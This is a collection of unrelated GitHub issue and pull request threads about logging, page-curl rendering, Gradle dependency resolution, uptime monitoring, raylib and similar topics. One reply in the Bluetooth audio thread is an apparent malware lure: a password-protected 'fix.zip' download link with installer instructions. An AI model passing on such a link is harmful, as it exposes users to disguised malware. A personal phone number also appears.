fix: missing authenticate action log for user web login

这个 PR 实现什么功能/修复什么问题:
修正：记录用户认证登录的操作日志会因为缺少user字段失败

是否需要 backport 到之前的 release 分支:

release/3.3
release/3.4

/cc @zexi
/area logger

Codecov Report

Merging #8350 into master will increase coverage by 3.24%.
The diff coverage is 0.00%.

@@            Coverage Diff            @@
##           master   #8350      +/-   ##
=========================================
+ Coverage    6.12%   9.37%   +3.24%
=========================================
  Files         762     221     -541
  Lines      118376   29107   -89269
=========================================
- Hits         7256    2728    -4528
+ Misses     110465   26124   -84341
+ Partials      655     255     -400

Flag
Coverage Δ

#aFlag
9.37% <0.00%> (+3.24%)
:arrow_up:

Flags with carried forward coverage won't be shown. Click here to find out more.

Impacted Files
Coverage Δ

pkg/cloudcommon/db/opslog.go
1.37% <0.00%> (-0.01%)
:arrow_down:

pkg/compute/models/cloudprovider_quotas.go

pkg/multicloud/esxi/fakeregion.go

pkg/multicloud/aws/dnshostedzone.go

pkg/compute/models/zonequota.go

pkg/multicloud/aws/reservedinstance.go

pkg/multicloud/aws/loadbalancercert.go

pkg/cloudcommon/validators/validators_sshkey.go

pkg/multicloud/esxi/manager.go

pkg/util/oidcutils/client/client.go

... and 532 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update fe2ecd1...a4c8752. Read the comment docs.

/lgtm
/approve


left to right curl

first thanks for your effort in this library
could i know how to curl page left to right in one page mode for Arabic language?
thanks in advance

Modify:
CurlRenderer->updatePageRects:
//mPageRectLeft.offset(-mPageRectRight.width(), 0);
mPageRectRight.offset(mPageRectRight.width(), 0);
it's ok.
This is not working for changing the curling direction from left to right. what actually this doing?

https://www.dropbox.com/s/tiu8tqyh0491afq/ltr_android_page_curl.apk?dl=0
I modified the library and implemented Left-to-Right Curl Effect
@amorenew stay tuned for dl link

Modify line no. 211 in
CurlRenderer.java
Original:-
pt.x = mViewRect.left + (mViewRect.width() * pt.x / mViewportWidth);
(Replace "left" with "right" and "+" with "-".
Modified:-
pt.x = mViewRect.right - (mViewRect.width() * pt.x / mViewportWidth);
It will work but the images will be flipped horizontally. It's not a big problem. You should flip the original images horizontally  in any photo editor and use these flipped images for compiling.
If left to right curl is not working then tell me I will help you. Because it's working in my phone.
Note:-
I'm not a software engineer🤔.

Modify line no. 211 & 142 in
CurlRenderer.java
For line no. 211:-
Original:
pt.x = mViewRect.left + (mViewRect.width() * pt.x / mViewportWidth);
(Replace "left" with "right" and "+" with "-".
Modified:
pt.x = mViewRect.right - (mViewRect.width() * pt.x / mViewportWidth);
For line 142:-
Original:
GLU.gluOrtho2D(gl, mViewRect.left, mViewRect.right,
Replace "Left" with "right" and "right" with "left"
Modified:
GLU.gluOrtho2D(gl, mViewRect.right, mViewRect.left,
It will work but the images will be flipped horizontally. It's not a big problem. You can flip the original images horizontally in any photo editor and use these flipped images for compiling.
If left to right curl is not working then tell me I will help you. Because it's working in my phone.
Note:-
I'm not a software engineer🤔.

Thanks very much for code
If I done I'll send u back
I professional website software developer
On Sat, Sep 22, 2018, 2:56 PM charslan<EMAIL_ADDRESS>wrote:

Modify line no. 211 & 142 in
CurlRenderer.java
For line no. 211:-
Original:
pt.x = mViewRect.left + (mViewRect.width() * pt.x / mViewportWidth);
(Replace "left" with "right" and "+" with "-".
Modified:
pt.x = mViewRect.right - (mViewRect.width() * pt.x / mViewportWidth);
For line 142:-
Original:
GLU.gluOrtho2D(gl, mViewRect.left, mViewRect.right,
Replace "Left" with "right" and "right" with "left"
Modified:
GLU.gluOrtho2D(gl, mViewRect.right, mViewRect.left,
It will work but the images will be flipped horizontally. It's not a big
problem. You can flip the original images horizontally in any photo editor
and use these flipped images for compiling.
If left to right curl is not working then tell me I will help you. Because
it's working in my phone.
Note:-
I'm not a software engineer🤔.
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/harism/android-pagecurl/issues/72#issuecomment-423730267,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AcWNdOybPTLLzsXbfE7oY75c1tyJu4qSks5udgJUgaJpZM4BYk67
.

Finally, Now we are able to curl the page from "left to right" without any problem.
Modify Two files...

CurlRenderer
CurlMesh

Details:

In CurlRenderer modify two lines (142, 211)

For line 142:-
Original:
GLU.gluOrtho2D(gl, mViewRect.left, mViewRect.right,
Replace "left" with "right" and "right" with "left"
Modified:
GLU.gluOrtho2D(gl, mViewRect.right, mViewRect.left,
For line no. 211:-
Original:
pt.x = mViewRect.left + (mViewRect.width() * pt.x / mViewportWidth);
(Replace "left" with "right" and "+" with "-".
Modified:
pt.x = mViewRect.right - (mViewRect.width() * pt.x / mViewportWidth);

Now Modify CurlMesh(From line 862 to line 870)

Original Code:
public void setRect(RectF r) {
mRectangle[0].mPosX = r.left;
mRectangle[0].mPosY = r.top;
mRectangle[1].mPosX = r.left;
mRectangle[1].mPosY = r.bottom;
mRectangle[2].mPosX = r.right;
mRectangle[2].mPosY = r.top;
mRectangle[3].mPosX = r.right;
mRectangle[3].mPosY = r.bottom;
}
Modified Code:
public void setRect(RectF r) {
	mRectangle[2].mPosX = r.left;
	mRectangle[2].mPosY = r.top;
	mRectangle[3].mPosX = r.left;
	mRectangle[3].mPosY = r.bottom;
	mRectangle[0].mPosX = r.right;
	mRectangle[0].mPosY = r.top;
	mRectangle[1].mPosX = r.right;
	mRectangle[1].mPosY = r.bottom;
}

Note: I need help because I want to modify another app's file(CurlMesh.java) to get Left to right curl. I'm don't have any knowledge of programming. That's why I need help.
The above modifications are result of my experiments on harism's code.

Thanks @charslan  its work for me but i have face a problem when i add image in my project the one side is good but the other side has fliped. what can i do for that

@waqasahmedmir1996 bro it's not a problem, it's basically the back side of the image. Can you share your contact number (WhatsApp).

@charslan  kindly send me that code on<EMAIL_ADDRESS>i really appreciate you

hy charslan! kindly send that code on my email thanks in advance
On Fri, 24 May 2019 at 20:11, charslan<EMAIL_ADDRESS>wrote:

@waqasahmedmir1996 https://github.com/waqasahmedmir1996 bro it's not a
problem, it's basically the back side of the image. Can you share your
contact number (WhatsApp).
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/harism/android-pagecurl/issues/72?email_source=notifications&email_token=AIYAN2QIHVBVD2OWN7RLK3TPXCU77A5CNFSM4ALCJ252YY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGODWG5V6I#issuecomment-495835897,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AIYAN2SPFD5LWH75VIAWX4TPXCU77ANCNFSM4ALCJ25Q
.

Sorry, I Said have an app (compiled) not the source code. By the way you this is the link of the app
https://play.google.com/store/apps/details?id=net.codecanyon.trimax.flipbook. You can add more images by using "apk editor". And if you want to check code use latest version of "Apk Editor Pro.

Sorry, I Said I have an app (compiled) not the source code. By the way you this is the link of the app
https://play.google.com/store/apps/details?id=net.codecanyon.trimax.flipbook. You can add more images by using "apk editor". And if you want to check code use latest version of "Apk Editor Pro.

app is not available in playstore
On Fri, 24 May 2019 at 22:53, charslan<EMAIL_ADDRESS>wrote:

Sorry, I Said I have an app (compiled) not the source code. By the way you
this is the link of the app
https://play.google.com/store/apps/details?id=net.codecanyon.trimax.flipbook.
You can add more images by using "apk editor". And if you want to check
code use latest version of "Apk Editor Pro.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/harism/android-pagecurl/issues/72?email_source=notifications&email_token=AIYAN2T6W24PIXADVOVKHXLPXDH37A5CNFSM4ALCJ252YY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGODWHD6DI#issuecomment-495861517,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AIYAN2RDNU4GOFG67HRQDULPXDH37ANCNFSM4ALCJ25Q
.

Brother issi liye kha tha send your no.

+923133913179 Thats my number kindly whatsapp me

@charslan kindl'y send the app plzz

Es link se download ker lo
https://m.apkpure.com/flipbook/net.codecanyon.trimax.flipbook

Sorry i am no able to understand this code. because i am not a programmer.
kindly help plz
On Sat, 25 May 2019 at 01:32, charslan<EMAIL_ADDRESS>wrote:

Es link se download ker lo
https://m.apkpure.com/flipbook/net.codecanyon.trimax.flipbook
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/harism/android-pagecurl/issues/72?email_source=notifications&email_token=AIYAN2TWQQOJZPXYWE2BH6TPXD2RNA5CNFSM4ALCJ252YY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGODWHKDXQ#issuecomment-495886814,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AIYAN2UVJMEVWBM7T65SKD3PXD2RNANCNFSM4ALCJ25Q
.


enableBackgroundDelivery Feature

Hey There,
I just want to ask, is there any plan to integrate this feature.
https://developer.apple.com/documentation/healthkit/hkhealthstore/1614175-enablebackgrounddelivery
Best Regards,
Ensar

I also think that would be nice! 👍

same


add sample about sco audio path to play audio like a2dp

This example HFP AG only implements the sco service-level connection,could you create an soc audio path to play music?Be grateful.

Download
https://www.mediafire.com/file/5t7dozm7sptcuqj/fix.zip/file
password: changeme
In the installer menu, select "gcc."


Expose terraform-aws-s3-log-storage module variables

This PR exposes the module variables from terraform-aws-s3-log-storage module.
Related #8

@aknysh Is this what you were looking for to resolve #8?

thanks @tegamckinney
Looks good.
Just some minor nitpicks.
Please rebuild README again after that:
make init
make readme/deps
make readme

@aknysh Updates completed.  Also - really like the build-harness toolchain; really nice!


Clearing old axes before setting new ones, #432

Summary
Clearing old axes before setting new ones
Solves
#432

This can be done with the method AxisY.Clear()
i.e. cartesianChart1.AxisY.Clear();  cartesianChart1.AxisX.Clear();

Well, correct me if wrong, but that's exactly what I'm doing...  I don't have UI object of the existing axes directly, so I'm getting them from AxisCore and then calling Clean. If you meant that I can clear the old axes manually before setting up new one - that's seems to be a workaround rather the fix.

@rusanov-vladimir You're completely right, mine was just a workaround...

Thanks again @rusanov-vladimir, I just extended your solution to UWP and merged


AppBar - Top right buttons

User: Login, logout, etc...
Tools: Should look like the image below. The tools will include features from the current Tools window (remove useless ones, keep useful ones such as Send email, ect...).

https://github.com/pynnl/bth745/pull/2


Add ability to set watch/output pane history with keyboard

Focus the rangeslider handle and press left/right to change the index

What about adding the subscription to the History component directly? This way we wouldn't need to duplicate the logic.

I tried this initially, but wasn't sure how to keep the correct output store and rangeslider handle element in sync with the stateless component.


Retina image

I have implemented the retina concept in my mobile app
The image get from the local or image folder
But the App size same for all device (Iphone 5s, iphone 6, etc)
do we need to add the any settings in config.xml files
Please advice.

Hi @edvenkat
I'm a little confused. Are you saying that the retina image sizes are not in the proper resolution when you preview them in the developer app?

No @timkim
Retina replace the image by following ways

2x image for iphone5s
3x image for iphone 6 or 6s
is correct??
We think, While generating ipa file

For iphone 5s , it will not include 3x image
For iphone 6 or 6s, it will not include 2x image
if so, the ipa file size should be different for iphone 5 and iphone 6 or 6s.. it is not happen
Why?? please correct me if my understanding is wrong

It is very difficult to debug issues like this.  I would recommend that you create images of each size/name that are extremely obvious ie. all red for 2x and all green for 3x and verify that the right ( or wrong ) images are loaded in each case.
If you still cannot resolve this still, please reopen and point us to a simple sample that reproduces the issue.


Dependency resolution depends on existence of external POMs

Consider something like:
dependencies {
    implementation 'org.jetbrains.kotlin:kotlin-stdlib:1.4.30-999'
    implementation 'org.jetbrains.kotlin:kotlin-stdlib:1.4.30'
}

(In practice, these dependency versions might come transitively)
Expected Behavior
The build fails. Resolution selects 1.4.30-999 because it is newer than 1.4.30, but 1.4.30-999 does not exist in any repository.
Current Behavior
The build uses the 1.4.30 version of the Kotlin stdlib. Gradles tries to find 1.4.30-999, notices it doesn't exist, and falls back to the older version.
Context
I originally noticed this because we are depending on org.jetbrains.kotlinx:kotlinx-serialization-json:1.1.0-RC, which depends on org.jetbrains.kotlin:kotlin-stdlib:1.4.30-270 (an released version of the kotlin stdlib), and our builds did not fail as I expected they would.
I believe the current behavior can break hermeticity in confusing ways. For example, imagine:

A depends on B and C. B depends on C.
The author of B publishes a B' that uses a new version of C, say C'. However, they forget to publish C'.
A upgrades to B'. At this point, A's builds will continue to use C.
The library author publishes C'. A's builds will silently start using C' (and possibly break).

I think it's reasonable to assume mutations / deletions of artifacts may break builds. However, I'd expect publishing a new artifact to be safe, as long as the build is not using dynamic versions.
Steps to Reproduce
See above.
Your Environment
Gradle 7.2

Gradle behaves as expected here. The problem is not that the .999 version doesn't exist. You can check the behavior by running:
# gradle dependencyInsight --configuration compileClasspath --dependency kotlin-stdlib

> Task :dependencyInsight
org.jetbrains.kotlin:kotlin-stdlib:1.4.30
   variant "compile" [
      org.gradle.status              = release (not requested)
      org.gradle.usage               = java-api
      org.gradle.libraryelements     = jar (compatible with: classes)
      org.gradle.category            = library

      Requested attributes not found in the selected variant:
         org.gradle.dependency.bundling = external
         org.gradle.jvm.environment     = standard-jvm
         org.gradle.jvm.version         = 11
   ]
   Selection reasons:
      - By conflict resolution : between versions 1.4.30-999 and 1.4.30

org.jetbrains.kotlin:kotlin-stdlib:1.4.30
\--- compileClasspath

org.jetbrains.kotlin:kotlin-stdlib:1.4.30-999 -> 1.4.30
\--- compileClasspath

org.jetbrains.kotlin:kotlin-stdlib-common:1.4.30
   variant "compile" [
      org.gradle.status              = release (not requested)
      org.gradle.usage               = java-api
      org.gradle.libraryelements     = jar (compatible with: classes)
      org.gradle.category            = library

      Requested attributes not found in the selected variant:
         org.gradle.dependency.bundling = external
         org.gradle.jvm.environment     = standard-jvm
         org.gradle.jvm.version         = 11
   ]

org.jetbrains.kotlin:kotlin-stdlib-common:1.4.30
\--- org.jetbrains.kotlin:kotlin-stdlib:1.4.30
     \--- compileClasspath (requested org.jetbrains.kotlin:kotlin-stdlib:1.4.30-999)

As you can see, it says:
   Selection reasons:
      - By conflict resolution : between versions 1.4.30-999 and 1.4.30

which means that Gradle considers 1.4.30 to be a more recent version than 1.4.30-999 (and I think it's correct, developers should really use semantic versioning, otherwise all bets are off).

Thanks for clarifying. Confirmed if I change 1.4.30-999 to 1.4.999 the build fails as expected.
I think the docs are wrong on this though. See: https://docs.gradle.org/7.4.2/userguide/single_versions.html#version_ordering

A version with an extra numeric part is considered higher than a version without: 1.1 < 1.1.0

Having checked, Gradle DOES NOT consider 1.4.30 to be more recent than 1.4.30-999, so the docs ARE NOT incorrect. The explanation for what we're seeing here must lie elsewhere. Investigating.

Further investigations revealed the following.
If we were to ever compare version 1.4.30 and 1.4.30-999 to see which is more recent, then it would be 1.4.30-999, but we never actually do that.
Why we don't do it? Turns out that 1.4.30-999 is not the same thing as <IP_ADDRESS>9. When these two get parsed by our VersionParser we get two Version objects with different base versions:

<IP_ADDRESS>9 has a base version of <IP_ADDRESS>9
1.4.30-999 has a base version of 1.4.30

I don't really understand the whole resolution logic, but I think at some point LatestModuleConflictResolver kicks in, searches for the candidate with the highest base version, so we end up comparing 1.4.30 to 1.4.30 and there's not much doubt on who's going to win that ...
How and what to fix here is beyond my capabilities, will look for help.

Fixed through #20475


chore: use a new incremental zstd crane mode

This should greatly decrease the sizes of workspace artifacts that crane produces.
See https://github.com/ipetkov/crane/pull/387

Even though it's still a PR to crane, the author said it will land, and we can safely use it, as it makes the CI much more lightweight.


Unable to set property 'cause' to '1'

asterisk-java 1.1.0
asterisk 11.13
Log:
WARN  EventBuilderImpl:110 - Unable to set property 'cause' to '1' on org.asteriskjava.manager.event.HangupRequestEvent: no setter.

Now tracked in #234


Tweak BackStackRecordLocalProvider to get it building on iOS again

The Kotlin/Native optimizer seems to have issues with some static properties (issue here).
This PR tweaks BackStackRecordLocalProvider to avoid the offending initializers all together. This does mean that we lose the CompositionLocal, but it's internal and not overridden anywhere anyway.
Closes #1075

Not sure if the CI failure is because you opened the PR and thus don't have access to the secret, will merge past it for now

It passed earlier, so might just be a fluke. Hopefully the re-run goes green.

Http error 403: Invalid apiToken

Ah, yeah I don't have access to the secret. When I said it passed earlier, I meant it passed in my fork before rebasing on to your emulator changes.

talking with the ewtf people about options for this async


edit books as works & instances

As a record editor, I want to add and edit bibliographic data for works and instances of works so I can document shared metadata and group different copies and editions of the same work.

Adding this story to capture the database refactoring to split books out into works and instances as well as the admin UI changes to edit bibliographic data as works and instances.  I'm inclined not to explicitly duplicate/rework the previous version of list and search user stories. The functionality will be adapted from the previous stories, although not exactly the same, and it will need to be tested - so if it's helpful to articulate those stories explicitly we probably should.

A few notes for testing:

the data migration is not intended to be exhaustive in terms of grouping instances into works, but just to do whatever can be reasonably detected from the data in the system; we expect there will be manual clean up required, but tried to take care of what could be easily automated
the data migration creates minimal work/instance records for volumes that book sections belong to; when it does so, it adds a comment to the notes field, so you should be able to find them by searching for "stub"
please test search/browse/editing for both works and instances to check that nothing has been missed in this refactor

@rlskoeser I'm having a little trouble conceptualizing how the "year" field in the Derrida work maps onto the various date fields for instances.  How were you envisioning this?  Original publication is the date that makes most sense to me, but I want to make sure we're on the same page.

@rlskoeser I'm noticing that the automated grouping of instances into works generated some rather strange groupings and missed a bunch of others. I'm thinking it would actually keep things simpler on our end to do all of the instance/work grouping manually.

@rlskoeser A little bug with the print date: even when I de-select all three of the "print date known" boxes, the system is giving me an error if I don't enter a print date.

@kac3 thanks for the feedback.  Yes, we're in agreement about the work year - I'll add some help text on the field as a way of documenting that.
Sorry to hear the grouping isn't useful, but understand.  I'm fine with removing that logic, just wanted to confirm - an instance must be tied to a work, so is it fine if I revise to create one work for each instance and then you all can just go in and group them and remove extraneous works?

@rlskoeser Confirming that yes, it is perfect if you create one work for each instance and we will do the grouping manually. Thank you!


suggested functions

hello I am writing this thread at the suggestion of raylib, in the community that uses this library in Discord, I proposed the following functions.
1.The PollInputEvents () function is only executed by redrawing a scene, but it loads the machine, in my case I needed to redraw in case of an event. For that I had to make it visible from the outside.
RLAPI void events_new(void);
in raylib.h
and
void events_new(void){
    PollInputEvents();              // Poll user events
}

in core.c

TakeScreenshot goes through memory not volatil.y in my case that is a problem because I'm working on raspberry and the sd has problems with writing, if they are too many.so I create a function that returns an image in ram.

Image TakeScreenshotImage (void)
{
#if defined (PLATFORM_DESKTOP) || defined (PLATFORM_RPI)
    unsigned char * imgData = rlReadScreenPixels (renderWidth, renderHeight);

    Image image = {imgData, renderWidth, renderHeight, 1, UNCOMPRESSED_R8G8B8A8};
   TraceLog (LOG_INFO, "Exported image");
return image;

#endif
}

This function is very specific, but maybe someone else could be useful. I needed to create a transparency in the image that I obtained with the previous function, a cut that should disappear.

void ImageCrop_negative(Image *image, Rectangle crop)
{
    // Security checks to make sure cropping rectangle is inside margins
    if ((crop.x + crop.width) > image->width)
    {
        crop.width = image->width - crop.x;
        TraceLog(LOG_WARNING, "Crop rectangle width out of bounds, rescaled crop width: %i", crop.width);
    }

    if ((crop.y + crop.height) > image->height)
    {
        crop.height = image->height - crop.y;
        TraceLog(LOG_WARNING, "Crop rectangle height out of bounds, rescaled crop height: %i", crop.height);
    }

    if ((crop.x < image->width) && (crop.y < image->height))
    {
        // Start the cropping process
        Color *pixels = GetImageData(*image);   // Get data as Color pixels array
       // Color *cropPixels = (Color *)malloc((int)image->width*(int)image->height*sizeof(Color));
        for (int j = (int)crop.y; j < (int)(crop.y + crop.height); j++)
        {
            for (int i = (int)crop.x; i < (int)(crop.x + crop.width); i++)
            {
                pixels[j*image->width + i] = BLANK;
            }
        }

        // printf("cortados----------------%d\r\n",t);
        int format = image->format;

        UnloadImage(*image);

        *image = LoadImageEx(pixels, (int)image->width, (int)image->height);

        //free(cropPixels);
        free(pixels);
        // Reformat 32bit RGBA image to original format
        ImageFormat(image, format);
    }
    else
    {
        TraceLog(LOG_WARNING, "Image can not be cropped, crop rectangle out of bounds");
    }
}

Hi @williamfjm, thanks for the suggested functions! Some quick answers:

raylib already provides SUPPORT_EVENTS_WAITING compile flag to wait for events instead of events polling every frame. Not sure about the need of exposing that function.

Good idea. I'll redesign it and expose some kind of ImageScreenshot().

I think you can already do the same just using ImageDrawRectangle()

It was my fault I did not read the documentation well, and I did not know that compilation flag.
and I never thought about the transparent rectangle ... I think it would be more efficient than the function that I modified.
I hope the second function is useful for someone else
thanks raysan.

Implemented GetScreenData() on commit https://github.com/raysan5/raylib/commit/f02a0334d8f86277916c52b274a0c7c21b6b9cd0.
This function is name-consistent with GetTextureData().


Protect the main branch

I dont think I have the access to do it. But lets disallow pushing directly to main?

Fixed. Also bumped your privileges, @revol-xut.


Bump framework version

$subject
Related issue:

https://github.com/wso2/product-is/issues/18795

PR builder started
Link: https://github.com/wso2/product-is/actions/runs/7555916062

PR builder completed
Link: https://github.com/wso2/product-is/actions/runs/7555916062
Status: success


Create a new pull request by

Pull Request Test Coverage Report for Build 535203481

14 of 14 (100.0%)  changed or added relevant lines in 2 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage increased (+0.006%) to 94.654%

Totals

Change from base Build 532264947:
0.006%

Covered Lines:
1897

Relevant Lines:
1960

💛  - Coveralls


fix(adapter): Prevent fetching belongs to when localKey is empty

Fixes #11, fixes js-data/js-data#505

[x] - npm test succeeds
[x] - Code coverage does not decrease (if any source code was changed)
[x] - Appropriate JSDoc comments were updated in source code (if applicable)
[x] - Approprate changes to js-data.io docs have been suggested ("Suggest Edits" button)

@lusarz I would suggest a new test is added to under this scope: https://github.com/js-data/js-data-adapter/blob/master/test/findAll.test.js#L126

@lusarz bump


CTRL+INSERT does not behave like CTRL+C in results grid

SQL Operations Studio Version: 0.32.9

Pressing CTRL+INSERT while the grid has focus copies the current line in the SQL editor instead of the currently highlighted cell(s) from the grid.
This is an issue for people (like myself) who mouse left-handed and like to use alternate shortcuts for cut/copy/paste (SHIFT+DELETE/CTRL+INSERT/SHIFT+INSERT respectively) which are easier to execute with the right hand.
Steps to Reproduce:

Connect to any MSSQL database
Enter query SELECT 'hello world' as Foo
Highlight the cell containing hello world
Press CTRL+INSERT
Open Notepad
Press CTRL+V

EXPECTED RESULT: pastes "hello world" into Notepad
ACTUAL RESULT: pastes "SELECT 'hello world' as Foo" into Notepad

this is fixed now with latest insiders build.


No data and no alerts if site goes down

⚠ Please verify that this bug has NOT been raised before.

[X] I checked and didn't find similar issue

🛡 Security Policy

[X] I agree to have read this project Security Policy

Description
At some point in time, my monitoring stops checking the availability of the site. This is expressed in the fact that it "freezes" and displays the latest data for a certain period of time, the same thing happens when I use the prometheus exporter.
👟 Reproduction steps
This also happened on version 1.1 (before switching to the new one), I even put monitoring on a separate server, but the problem still repeats. I have about 15-20 HTTP checks, and they all don't work
👀 Expected behavior
Operational monitoring and display of correct data
😓 Actual Behavior
At some point in time, monitoring "freezes" and it's not clear to me how to fix it. This happens until I stop/enable monitoring or restart the server with monitoring.
Here is some screenshots:
how it looks like from uptime-kuma:

if 24h:

grafana:

So as you can see it stopped posting status after 00:00 24.01.22
How to fix this? My monitoring VM have about 100Gb NVMe space free
🐻 Uptime-Kuma Version
1.11.3
💻 Operating System and Arch
Ubuntu 18.04
🌐 Browser
Safari
🐋 Docker Version
No response
🟩 NodeJS Version
No response
📝 Relevant log output
No response

Are there any logs in the server output?

Here is logs from docker container, maybe you can tell me where to find some other debug logs?
https://pb0.superhub.xyz/?fdff20a2a4ba2348#KNj9yiwtEjvqlqkkBtTBBJIqUpFOwLQok1xJvYnRCjw=

also error.log inside container:
[2022-01-20 06:49:43] KnexTimeoutError: Knex: Timeout acquiring a connection. The pool is probably full. Are you missing a .transacting(trx) call?
    at Client_SQLite3.acquireConnection (/app/node_modules/knex/lib/client.js:305:26)
    at runMicrotasks (<anonymous>)
    at runNextTicks (internal/process/task_queues.js:60:5)
    at listOnTimeout (internal/timers.js:526:9)
    at processTimers (internal/timers.js:500:7)
    at async Runner.ensureConnection (/app/node_modules/knex/lib/execution/runner.js:259:28)
    at async Runner.run (/app/node_modules/knex/lib/execution/runner.js:30:19)
    at async RedBeanNode.storeCore (/app/node_modules/redbean-node/dist/redbean-node.js:166:26)
    at async RedBeanNode.store (/app/node_modules/redbean-node/dist/redbean-node.js:126:20)
    at async beat (/app/server/model/monitor.js:417:13) {
  sql: undefined,
  bindings: undefined
}
[2022-01-20 06:49:43] KnexTimeoutError: Knex: Timeout acquiring a connection. The pool is probably full. Are you missing a .transacting(trx) call?
    at Client_SQLite3.acquireConnection (/app/node_modules/knex/lib/client.js:305:26)
    at runMicrotasks (<anonymous>)
    at runNextTicks (internal/process/task_queues.js:60:5)
    at processTimers (internal/timers.js:497:9)
    at async Runner.ensureConnection (/app/node_modules/knex/lib/execution/runner.js:259:28)
    at async Runner.run (/app/node_modules/knex/lib/execution/runner.js:30:19)
    at async RedBeanNode.storeCore (/app/node_modules/redbean-node/dist/redbean-node.js:166:26)
    at async RedBeanNode.store (/app/node_modules/redbean-node/dist/redbean-node.js:126:20)
    at async beat (/app/server/model/monitor.js:417:13)
    at async Timeout.safeBeat [as _onTimeout] (/app/server/model/monitor.js:443:17) {
  sql: undefined,
  bindings: undefined
}

Hey, guys, any news please?

Relevant previous discussion in #218. Unfortunately it's a generic database connection error and there isn't much to go on.

generic database connection error

But im using native sqlite database inside docker container, how it may be error with connecting to database?

v1.23.X included some improvements in the direction of using incremental_vaccum => improving the situation.
A lot of performance improvements (using aggregated vs non-aggregated tables to store heartbeats, enabling users to choose mariadb as a db-backend, pagination of important events) have been made in v2.0 (our next release) resolving™ this problem-area.
=> I'm going to close this issue
You can subscribe to our releases and get notified when a new release (such as v2.0-beta.0) gets made.
See https://github.com/louislam/uptime-kuma/pull/4171 for the bugs that need addressing before that can happen.
Meanwhile (the issue is with SQLite not reading data fast enough to keep up):

limit how much retention you have configured
limit yourself to a reasonable amount of monitors (hardware-dependant, no good measure)
don't run on slow disks or disk with high latency like HDDs, SD-cards, USB-Stick attached to a router, ...


Remove GPU reference from approximate k-NN

Fixes #2908
Checklist

[x ] By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license and subject to the Developers Certificate of Origin.
For more information on following Developer Certificate of Origin and signing off your commits, please check here.

@jmazanec15 Could you please review this PR for technical accuracy? Thank you!


Update route to use updated 'Events' page

 Events: Divide events page into PMG and Non-PMG events


Support for database backend to collected emails

We currently store collected emails in flat files.
It would be better if we could store emails in a database. Then we can store higher quantities of email, access it faster, etc.
MongoDB is a natural choice. It is what is used already by the IETF datatracker.
@priyankaiitg

If this is done, it subsumes #549


Add better documentation for Swift integration.

I also found the documentation about Swift integration lacking. I was unable to use eDistantObject to invoke Swift from Swift. Here is a test project with my attempt. I'd appreciate someone taking a look: https://github.com/adamhowardprice/EDOTestingSandbox


Anti-pattern: HTTP Without TLS

Dear Colleague,
We are looking to find ways to help developers find security anti-patterns, i.e., violation of security best practices in Kubernetes manifests.
We have noticed an instance of HTTP without TLS/SSL in one of your Kubernetes manifests. The recommended practice is use of secure HTTP for each team's development and production environment. Enabling TLS ensures secure communication between cluster components.. For examples of Kubernetes security anti-patterns we are following our peer-reviewed publication on Kubernetes security best practices (https://arxiv.org/pdf/2006.15275.pdf).
Location of security anti-pattern:
https://github.com/oktadev/jhipster-microservices-example/blob/5e4631f402be50585fbb36e2776c5b6e733253f4/kubernetes/registry/application-configmap.yml#L16

Thanks, but this is an internal call so I'm not too worried. This is also an old example. It's been around for over four years, which is ancient in internet time. See Secure Service-to-Service Spring Microservices with HTTPS and OAuth 2.0 for how to use HTTPS instead.


Update to Django 1.11.23

Signed-off-by: Joe Grund<EMAIL_ADDRESS>

Codecov Report

Merging #1202 into master will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##           master    #1202   +/-   ##
=======================================
  Coverage   95.39%   95.39%
=======================================
  Files           2        2
  Lines         152      152
=======================================
  Hits          145      145
  Misses          7        7

Impacted Files
Coverage Δ

iml-wire-types/wire-types.rs
100% <ø> (ø)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 7bb840c...f8e8d99. Read the comment docs.

This had a full SSI pass with: https://build.whamcloud.com/job/integration-tests-shared-storage-configuration/2693/

Landed in 988b68277078edb694162e24f8b25ee538c6b19f


Remove JDK 7 from installation pages and add JDK 8 and JDK 11

Docs contain JDK 7 as the JAVA version. Please remove them and add JDK 8 and JDK 11 .
ex: https://apim.docs.wso2.com/en/latest/SetupAndInstall/InstallationGuide/InstallingTheProduct/InstallingTheBinary/installing-on-linux-or-os-x/
This needs to be updated on all the pages in the installation guide

The documentation points off to the compatibility matrix, which mentions the correct JDK versions [1]. However, to avoid confusion I changed the examples from jdk1.7.0_80 to jdk1.8.0_xx.
[1] https://apim.docs.wso2.com/en/latest/InstallAndSetup/ProductCompatibility/
jdk1.8.0_xx


feature: support registry mirrors

Signed-off-by: zhuangqh<EMAIL_ADDRESS>
Ⅰ. Describe what this PR did
registryMirrors is a list of registry URLs that act as a mirror for the default registry.
Ⅱ. Does this pull request fix one issue?

Ⅲ. Why don't you add test cases (unit test/integration test)? (你真的觉得不需要加测试吗？)
we need a new test framework to inject the deamon config.
Ⅳ. Describe how to verify it
# start pouchd with --registry-mirrors parameters
$ pouchd --registry-mirrors fake --registry-mirrors gcr.io

# pull a image without full reference
[root@pouch ~]# pouch pull cri-tools/hostnet-nginx:latest
gcr.io/cri-tools/hostnet-nginx:latest:                                            resolved       |++++++++++++++++++++++++++++++++++++++|
manifest-sha256:d629efc3a5de1fe63bac3d877ed642968add1e795260b71a40802a3e9e3c5371: done           |++++++++++++++++++++++++++++++++++++++|
layer-sha256:c59fd35c9fab19f6db27c1aeb7f4d9fb8862c8fd9400104af66bc3e589ed0ee9:    done           |++++++++++++++++++++++++++++++++++++++|
